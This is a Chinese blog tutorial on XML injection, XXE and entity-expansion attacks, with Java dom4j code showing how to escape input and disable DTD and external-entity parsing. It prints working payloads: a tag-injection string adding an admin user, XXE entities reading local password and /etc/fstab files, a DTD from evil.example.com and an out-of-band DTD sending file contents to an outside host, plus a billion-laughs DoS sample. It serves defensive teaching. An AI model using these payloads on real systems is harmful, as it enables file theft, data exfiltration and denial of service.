XML注入攻击总结

最新推荐文章于 2024-06-05 12:04:23 发布
最新推荐文章于 2024-06-05 12:04:23 发布
阅读量1w 收藏 43
点赞数 18
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_32238611/article/details/108301023
版权

XML注入攻击总结

普通的XML注入

  • 原理
    XML注入攻击和SQL注入攻击的原理一样，利用了XML解析机制的漏洞，如果系统对用户输入"<",">"没有做转义的处理，攻击者可以修改XML的数据格式，或者添加新的XML节点，就会导致解析XML异常，对流程产生影响。

  • 如何注入攻击

  1. 如下XML是用于注册访问用户，其中用户名是由用户自己输入的。
<?xml version="1.0" encoding="UTF-8" ?>
<user role="guest">用户输入</user>
  1. 攻击者在输入用户的时候，可以构造" user1 < /user> < user role=“admin”>user2"数据去拼接XML，之后整个XML字符串将会变成如下格式。这样就添加了一个管理员权限的用户。
<?xml version="1.0" encoding="UTF-8" ?>
<user role="guest">user1</user>
<user role="admin">user2</user>
  • 如何防护
  1. 使用白名单校验
    可以使用正则的方式对用户的输入做严格的校验，比如用户输入的用户名只能含有中文，英文大小写字母，数字以及下划线等等。
  2. 使用安全的XML库
    正确代码使用dom4j来构建XML，dom4j是一个定义良好，开源的XML工具库，Dom4j将会对文本数据进行XML编码，从而使得XML的原始结构和格式免受破坏。
    代码中最终生成的XML会进行编码，会被替换，从而防止了XML注入。
    @Test
    public void testDom4j() {
        Document document = DocumentHelper.createDocument();
        Element user = document.addElement("user");
        user.addAttribute("role","guest");
        user.setText(REPLACE_XML);
        String xml = document.asXML();
        System.out.println(xml);
    }

<?xml version="1.0" encoding="UTF-8"?>
<user role="guest">user1&lt;/user&gt;&lt;user role="admin"&gt;user2</user>
  1. 对用户输入的字段进行转码处理
    代码中对传过来的参数进行了转码处理，之后去构造XML字符串，就不会导致XML字符串结构被篡改。
    @Test
    public void testTrans() {
        String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n" +
                "<user role=\"guest\">%s</user>";
        String replace = "user1</user><user role=\"admin\">user2";
        String format = String.format(xml, xmlConversion(replace));
        System.out.println(format);
    }
    
    /**
     * 转义xml中不支持的特殊字符
     * 
     * @param strXml
     * @return
     */
    private String xmlConversion(String strXml){
        String conversionStr = "";
        if(strXml == null){
            return null;
        }
        conversionStr = strXml.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;").
                replaceAll("'","&apos;").replaceAll("\"","&quot;");
        return conversionStr;
    }
  • 项目代码中的排查
    首先要找到前台在那些地方拼接了XML，之后需要查看对应的代码逻辑，查看后台是否存在没有处理前端数据直接拼接的情况，如果存在则进行对应的修改，转码，白名单，使用安全的XML库等等。

XML外部实体注入攻击

  • 原理
    XXE:XML External Entity 即外部实体，从安全角度理解成XML External Entity attack 外部实体注入攻击，由于程序在解析输入的XML数据时，解析了攻击者伪造的外部实体而产生的。
  • 如何注入攻击，注入攻击类型
  1. 利用外部实体的引用功能实现对任意文件的读取
    这个是解析的xml文件，我们定义了一个通用实体，并且在文件中去引用这个实体。
    password.txt文件中记录了敏感的一些信息。
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE updateProfile [
        <!ENTITY file SYSTEM "file:///d:/xml/password.txt"> ]>
<updateProfile>
    <firstname>joe</firstname>
    <lastname>&file;</lastname>
</updateProfile>

具体解析代码

    @Test
    public void testXXE1() throws DocumentException {
        File file = new File("d://xml//demo.xml");
        SAXReader reader = new SAXReader();
        Document document = reader.read(file);
        Element rootElement = document.getRootElement();
        String lastname = rootElement.element("lastname").getText();
        System.out.println("get the password "+ lastname);// 这边代码会输出password.txt文件里面的内容
    }

在这里插入图片描述
2. 使用参数实体和避免XML解析语法错误，构造恶意的实体解析
使用参数实体和<CDATA[]>避免XML解析语法错误，构造恶意的实体解析：
XML文件：构造参数实体 % start；% goodies；% end；% dtd 定义一个恶意的combine.dtd

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///etc/fstab">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil.example.com/combine.dtd">
%dtd;
]>
<roottag>&all;</roottag>

恶意DTD combine.dtd中定义实体&all;

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

甚至可以这样构造恶意的DTD combine.dtd，将结果发送到目标地址，最后会获得file:///etc/fstab文件。

<?xml version=”1.0” encoding=”UTF-8”?>
<!ENTITY % send “<!ENTITY all SYSTEM ‘http://mywebsite.com/?%gooddies;’>”>
%send;
  • 如何防护
  1. 禁止解析DTDs
    @Test
    public void testXXE2() throws DocumentException, SAXException {
        File file = new File("d://xml//demo.xml");
        SAXReader reader = new SAXReader();
        // 禁止解析DTDS
        reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //禁止包含doctype
        reader.setFeature("http://xml.org/sax/features/external-general-entities", false); //禁止外部实体解析
        reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //禁止外部参数解析
        Document document = reader.read(file);
        Element rootElement = document.getRootElement();
        String lastname = rootElement.element("lastname").getText();
        System.out.println("get the password "+lastname);
    }

这边对上面列到的testXXE方法做了处理，设置了禁止解析DTDs属性，同时也禁止了参数实体和外部实体的解析，该方式不仅可以防止XML的外部实体攻击也能防止XML内部实体攻击。
具体再运行代码，会抛出如下异常。可以看出DTDs已经被禁止。
在这里插入图片描述

  1. 禁止解析外部一般实体和外部参数实体
    @Test
    public void testXXE3() throws DocumentException, SAXException {
        File file = new File("d://xml//demo.xml");
        SAXReader reader = new SAXReader();
        // 禁止解析DTDS
        reader.setFeature("http://xml.org/sax/features/external-general-entities", false); //禁止外部实体解析
        reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //禁止外部参数解析
        Document document = reader.read(file);
        Element rootElement = document.getRootElement();
        String lastname = rootElement.element("lastname").getText();
        System.out.println("get the password "+lastname);
    }

这边具体运行之后是不能获得lastname的值，可以看到外部参数实体没有被解析出来。（此方法可以防止外部实体攻击，不能预防内部实体攻击）
在这里插入图片描述
3. 禁止解析外部实体
正确示例方法定义一个CustomResolver类来实现接口org.xml.sax.EntityResolver。在这个类中实现自定义的处理外部实体机制。自定义实体解析函数中使用一个简单的白名单，白名单范围里面则返回对应的文件内容，不在白名单范围里面的则返回一个空的实体解析内容。

    // 自定义外部实体处理
    private class CustomResolver implements EntityResolver {
        // 自定义的一个白名单
        String whitePath = "file:///d:/xml/password.txt";

        @Override
        public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException {
            if (systemId.equals(whitePath)) {
                System.out.println("Resolving entity: " + publicId + " " + systemId);
                return new InputSource(whitePath);
            } else {
                // 解析输入恶意的xml内容时，返回空
                return new InputSource();
            }
        }
    }

    @Test
    public void testXXE() throws DocumentException, SAXException {
        File file = new File("d://xml//demo.xml");
        SAXReader reader = new SAXReader();
        // 设置自定义的外部实体处理
        reader.setEntityResolver(new CustomResolver());
        Document document = reader.read(file);
        Element rootElement = document.getRootElement();
        String lastname = rootElement.element("lastname").getText();
        System.out.println("get the password "+lastname);
    }

因为“file:///d:/xml/password.txt”这个路径是加在白名单里面的，所有上面的代码可以运行通过，能够解析到password.txt文件里面的内容。
在这里插入图片描述
如果不在白名单里面，会返回空，或者里面可以加上别的具体的业务逻辑。

XML内部实体注入攻击

  • 说明
    XML内部实体是实体的内容已经在Doctype中声明。内部实体格式：。内部 实体攻击比较常见的是XML Entity Expansion攻击，它主要试图通过消耗目标程序的服务器内存资源导致DoS攻击。外部实体攻击和内部实体扩展攻击有不同的防护措施（禁止DTDs解析可以防护外部实体和内部实体攻击）。
  • 如何注入攻击，注入攻击类型
  1. 拒绝服务攻击
    下面恶意的XML内部实体解析，占用服务器内存资源，导致拒绝服务攻击。
<?xml version="1.0"?>
<!DOCTYPE lolz [
​
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
  • 如何防护
    内部实体扩展攻击最好的防护措施是禁止DTDs的解析。另外也可以对内部实体数量进行限制，以消减内部实体 展攻击发生的可能性。所以在不需要使用内部实体时，应该禁止DTDs解析，需要使用内部实体时，严格限制内部实体的数量及xml内容的大小。
  1. 禁止解析DTDs
    同上
  2. 限制实体解析个数
    通过设置setFeature(“http://javax.xml.XMLConstants/feature/secure-processing”, true);限制实体个数不能超过100,000个。
    @Test
    public void testXmlDos() throws SAXException, DocumentException {
        File file = new File("d://xml//dos.xml");
        SAXReader reader = new SAXReader();
        // 这边设置实体个数不超过10000个
        reader.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
        Document document = reader.read(file);
        String xml = document.asXML();
        System.out.println(xml);
    }

运行结果如果实体超过100,000的话，会直接抛出异常。
在这里插入图片描述

参考链接以及项目地址

  • 参考链接
    https://xz.aliyun.com/t/3357#toc-0
    https://www.freebuf.com/column/181064.html

  • 项目地址
    https://github.com/yzh19961031/blogDemo/tree/master/xml

Yuandupier
关注
  • 18
    点赞
  • 踩
  • 43
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【愚公系列】2023年05月 Web渗透测试之XML攻击
时光隧道
08-25 5万+
XML攻击是一种利用XML文件中的漏洞攻击系统的攻击方法。攻击者可以通过构造恶意的XML文件，使系统解析XML文件时受到攻击，导致系统崩溃、泄漏敏感信息等安全问题。XML攻击的常见类型包括XML注入攻击、XXE攻击、XPath注入攻击等。为防范XML攻击，可以采用严格的XML解析方式、限制外部实体引用等安全措施。
XML注入漏洞
武天旭的博客
10-05 1942
一、漏洞描述 XML外部实体注入攻击，无论是WEB程序，还是PC程序，只要处理用户可控的XML都可能存在危害极大的XXE漏洞，开发人员在处理XML时需谨慎，在用户可控的XML数据里禁止引用外部实体。
XML外部实体攻击原理以及实战（XXE）（1）
Ba1_Ma0的博客
04-21 1956
extensible markup language(XML)类似于HTML的可扩展的标记语言，但主要区别在于，HTML是关于数据表示的，但是XML是关于数据传输的，XML是可读的，他被用在很多地方，比如API，UI布局，android应用程序配置文件，RSS等
API 安全测试（偏渗透测试）
最新发布
hide_in_darkness的博客
06-05 1438
​ API，全称为Application Programming Interface（应用程序编程接口），是一套预先定义的函数、协议和工具的集合，用于构建软件应用。API定义了软件组件之间如何相互通信，它允许不同的软件系统之间进行交互，而无需开发者了解这些系统的具体实现细节。随着数字化转型的深入，API产品的价值日益增高，特别是与微服务、DevOps等技术的融合，使得API成为企业战略发展加速的利器。​ 我们以家庭宽带异常作为例子更加形象的向大家介绍一下 API。
网络安全-XXE（XML外部实体注入）原理、攻击及防御
关注网络安全、云原生安全
09-07 4464
目录 前言 简介 原理 攻击 防御 禁用外部实体 过滤用户提交的XML数据 前言 XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。 博主之前用xml也没有使用过DTD，因为是可选的嘛，这里就简单说一下，学过的跳过。 DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明，也可以外部引用。 内部声明DTD <!DOCTYPE 根元素 [元素声明]>引用外部DTD文档 <!DOCTYPE 根元素 SYSTE
XML外部实体注入攻击XXE
arissa666的博客
10-10 589
（可选）、
xml攻击 简介、示例、防范
weixin_42100211的博客
04-28 1928
在查找openpyxl的官方介绍时，注意到security这一栏提到了针对xml解析器的攻击。 介绍了什么是xml实体，各种xml实体攻击的基本思路，和其中一种xml攻击的demo。
学习与了解XXE漏洞（一）
就是我的博客
01-25 803
从代码中了解XXE漏洞利用与修复原理！
XML注入攻击
热门推荐
beyond__devil的博客
10-10 1万+
一、漏洞描述 XML文件的解析依赖libxml库，而libxml2.9以前的版本默认支持并开启了外部实体的引用，服务端解析用户提交的xml文件时未对xml文件引用的外部实体（含外部普通实体和外部参数实体）做合适的处理，并且实体的URL支持file://和php://等协议，攻击者可以在xml文件中声明URI指向服务器本地的实体造成攻击。 图片素材来自网络 二、形成原因 解析
XML之XXE漏洞 XML外部实体注入攻击
qq_60115503的博客
05-24 1247
XXE:XML External Entity即外部实体,从安全角度理解成XML External attack外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者通过ENTITY伪造外部实体构成,比如PHP中simplexml_load默认情况下会解析外部实体,XXE标志性函数simplexml_load_string()
XStream解析XML实例
04-14
XStream默认不开启安全性，这意味着恶意用户可能会通过XML注入攻击。为了避免这种情况，应始终启用`XStream的安全模式`： ```java xstream.processAnnotations(Person.class); // 需要注解支持 xstream....
你所不知道的XML安全—XML攻击方法小结
01-30
XML可扩展标记语言，被设计用来传输和存储数据，其形式多样。某些在XML中被设计出来的特性，比如 XMLschemas(遵循XMLSchemas规范)和documentstypedefinitions(DTDs)都是安全问题来源。纵然被公开的讨论了上十年，还是有一大批一大批的软件死在针对XML的攻击上。XML可扩展标记语言，被设计用来传输和存储数据。其形式多样例如：1.文档格式(OOXML，ODF,PDF,RSS,DOCX...)2.图片格式(SVG,EXIFHeaders,...)3.配置文件(自定义名字，一般是.xml)4
xml.zip_xml方式保存文件
09-23
- 防止XML注入攻击，对用户输入进行有效验证和转义。 总结来说，XML是一种强大的数据表示和交换工具，尤其适用于结构化的电表信息这类数据。通过理解XML的基本原理和使用方法，我们可以有效地组织、存储和共享这些...
c#读取xml文件模型
03-10
- 在处理XML时，要防范XML注入攻击。确保使用安全的方法来构建XML文档，避免用户输入直接插入XML结构中。 8. **总结** - C#通过内置的XML处理库提供了强大且灵活的功能，无论是在VS2017或其他版本的IDE中，都能...
XML.rar_XML phone_XML 解析
09-14
2. 防止XML注入攻击：对用户输入的数据进行校验和过滤，防止恶意XML注入。 3. 压缩传输：为了减少网络传输时间，可以将XML文件压缩后传输，如使用GZip压缩。 4. 使用轻量级解析库：针对移动设备性能限制，选择性能...
xml的登录与注册
07-07
此外，使用XML作为存储方式可能存在安全风险，如XSS（跨站脚本攻击）和XXE（XML外部实体注入攻击）。因此，应确保使用安全的XML解析器，并避免解析不受信任的XML数据。 标签中的"java"表明了后端技术栈。在Java中，...
XML注入学习
xujunhui222的博客
02-10 6689
一、什么是XML注入 XML 指可扩展标记语言（EXtensible Markup Language） XML 是一种标记语言，很类似 HTML XML 的设计宗旨是传输数据，而非显示数据 XML 标签没有被预定义。您需要自行定义标签。 XML 被设计为具有自我描述性。 XML 是 W3C 的推荐标准 简单来说xml就是用来存储数据的。 二、XML的特点 XML仅仅是纯文本，他不会做任何事情。 XML可以自己发明标签（允许定义自己的标签和文档结构） 三、XML的定义 首先是XML声明，然后是DTD
【网络安全】XXE--XML外部实体注入
边缘拼命划水的小陈
04-24 1013
XML外部实体注入（XML EXTERNAL ENTITY）简称XXE漏洞，概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
XML外部实体注入基础
qq_63928796的博客
12-06 509
xml xml的优点 xml是互联网数据传输的重要工具，它可以跨越互联网任何的平台，不受编程语言和操作系统的限制，非常适合Web传输，而且xml有助于在服务器之间穿梭结构化数据，方便开发人员控制数据的存储和传输。 而且在配置文件里边所有的配置文件都是以XMl的格式来编写的，跨平台进行数据交互，它可以跨操作系统，也可以跨编程语言的平台,所以可以看出XML是非常方便的，应用的范围也很广，但如果存在漏洞，那危害就不言而喻了 dtd Document Type Definition文档类型定义 https://
java bean如何使用xml注入
05-26
Java Bean 可以使用 XML 配置文件进行属性注入，具体步骤如下： 1. 创建一个 Java Bean 类，并在类中定义需要进行注入的属性和对应的 setter 方法。 2. 在 XML 配置文件中定义一个 Bean 标签，并指定该标签的 id 属性和 class 属性，id 属性表示该 Bean 的名称，class 属性表示该 Bean 对应的 Java 类的全限定名。 3. 在 Bean 标签内部，使用 Property 标签来设置需要注入的属性，其中 name 属性表示属性名称，value 属性或者 ref 属性表示属性值。如果使用 value 属性，则直接设置属性值；如果使用 ref 属性，则表示该属性值是另外一个 Bean 的实例。 例如，下面是一个使用 XML 注入的例子： ```xml <bean id="student" class="com.example.Student"> <property name="name" value="Tom"/> <property name="age" value="18"/> <property name="address" ref="address"/> </bean> <bean id="address" class="com.example.Address"> <property name="city" value="Beijing"/> <property name="street" value="Chaoyang Street"/> </bean> ``` 在上面的例子中，定义了两个 Bean，一个是 Student，另一个是 Address。在 Student 中需要注入的属性有 name、age 和 address。其中，name 和 age 的值是直接设置的，而 address 的值是通过 ref 引用另一个 Bean，即 Address。 使用 XML 注入可以使代码更加清晰、易于维护。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值